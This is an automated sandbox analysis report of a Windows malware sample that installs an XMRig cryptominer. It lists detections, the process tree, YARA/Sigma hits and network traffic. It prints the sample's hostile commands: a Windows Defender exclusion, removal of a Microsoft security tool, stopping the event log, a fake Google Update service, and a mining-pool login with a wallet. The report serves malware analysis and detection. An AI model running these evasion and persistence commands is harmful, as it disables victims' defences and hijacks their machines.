Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
Analysis ID:	1473042
MD5:	1547e40089b1b06c2e27658c4f478466
SHA1:	b531e9eaeb0f3e606635623d0775b94e2da113a9
SHA256:	62133bf304c2143af08217ea5caa1102009e3f70682896ae2997b232f212ec51
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected Xmrig cryptocurrency miner

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Drops executables to the windows directory (C:\Windows) and starts them

Found strings related to Crypto-Mining

Found suspicious powershell code related to unpacking or dynamic code loading

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Protects its processes via BreakOnTermination flag

Query firmware table information (likely to detect VMs)

Reads the Security eventlog

Reads the System eventlog

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe (PID: 612 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe" MD5: 1547E40089B1B06C2E27658C4F478466)

system64x.exe (PID: 6188 cmdline: "C:\Windows\SysWOW64\system64x.exe" MD5: 4471F946569BFA17D68108068D7A17A1)

powershell.exe (PID: 5468 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6464 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7200 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 6532 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3172 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2884 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2468 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 3876 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 564 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 924 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 992 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 2292 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7240 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7288 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7296 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

updater.exe (PID: 7368 cmdline: C:\ProgramData\Google\Chrome\updater.exe MD5: 4471F946569BFA17D68108068D7A17A1)

powershell.exe (PID: 7380 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7544 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7772 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 7552 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7568 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7584 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7612 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7672 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 444 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 732 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1032 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1056 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1068 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WMIADAP.exe (PID: 7920 cmdline: wmiadap.exe /F /T /R MD5: 1BFFABBD200C850E6346820E92B915DC)

svchost.exe (PID: 1148 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1188 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1232 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1324 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1384 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1416 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 7728 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 7780 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000002F.00000002.3603906840.0000025545E42000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000002.3608696506.00000255463E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000003.2470568560.0000025545E4D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000002.3605197071.0000025545E50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000003.3053963293.0000025545E50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe PID: 612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe PID: 612	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1eeb97:$b2: ::FromBase64String( 0x1f2383:$b2: ::FromBase64String( 0xc1fd4:$s1: -join 0xc58a0:$s1: -join 0x22959f:$s1: -join 0x236674:$s1: -join 0x239a46:$s1: -join 0x23a0f8:$s1: -join 0x23bbe9:$s1: -join 0x23ddef:$s1: -join 0x23e616:$s1: -join 0x23ee86:$s1: -join 0x23f5c1:$s1: -join 0x23f5f3:$s1: -join 0x23f63b:$s1: -join 0x23f65a:$s1: -join 0x23feaa:$s1: -join 0x240026:$s1: -join 0x24009e:$s1: -join 0x240131:$s1: -join 0x240397:$s1: -join
Process Memory Space: dialer.exe PID: 7780	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: dialer.exe PID: 7780	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x3e6f8:$a1: mining.set_target 0x3aea1:$a2: XMRIG_HOSTNAME 0x3bc19:$a3: Usage: xmrig [OPTIONS] 0x3ae82:$a4: XMRIG_VERSION
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
47.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
47.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
47.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
47.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Other

Source	Rule	Description	Author	Strings
amsi64_612.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_612.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Windows\SysWOW64\system64x.exe" , ParentImage: C:\Windows\SysWOW64\system64x.exe, ParentProcessId: 6188, ParentProcessName: system64x.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 6532, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysWOW64\system64x.exe" , ParentImage: C:\Windows\SysWOW64\system64x.exe, ParentProcessId: 6188, ParentProcessName: system64x.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5468, ProcessName: powershell.exe

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, ProcessId: 612, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5hfiz3n.jvw.ps1

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 3876, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 924, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Windows\SysWOW64\system64x.exe" , ParentImage: C:\Windows\SysWOW64\system64x.exe, ParentProcessId: 6188, ParentProcessName: system64x.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", ProcessId: 7240, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysWOW64\system64x.exe" , ParentImage: C:\Windows\SysWOW64\system64x.exe, ParentProcessId: 6188, ParentProcessName: system64x.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5468, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Windows\SysWOW64\system64x.exe" , ParentImage: C:\Windows\SysWOW64\system64x.exe, ParentProcessId: 6188, ParentProcessName: system64x.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7288, ProcessName: sc.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\system64x.exe	Avira: detection malicious, Label: TR/Kryptik.byulc
Source: C:\ProgramData\Google\Chrome\updater.exe	Avira: detection malicious, Label: TR/Kryptik.byulc

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Google\Chrome\updater.exe	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\system64x.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002F.00000002.3603906840.0000025545E42000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3608696506.00000255463E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.2470568560.0000025545E4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3605197071.0000025545E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3053963293.0000025545E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 7780, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.5:49734 -> 149.102.143.109:10128 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"4axnhsyv9a9emwehmn6igq1erjgjfgyebcsx3azg7afhqu9cmgfqf77crfpnfhpun6hcvkws4ntoyrxkfsbkfh8p7e5xslu","pass":"","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe	String found in binary or memory: cryptonight-monerov7
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49729 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
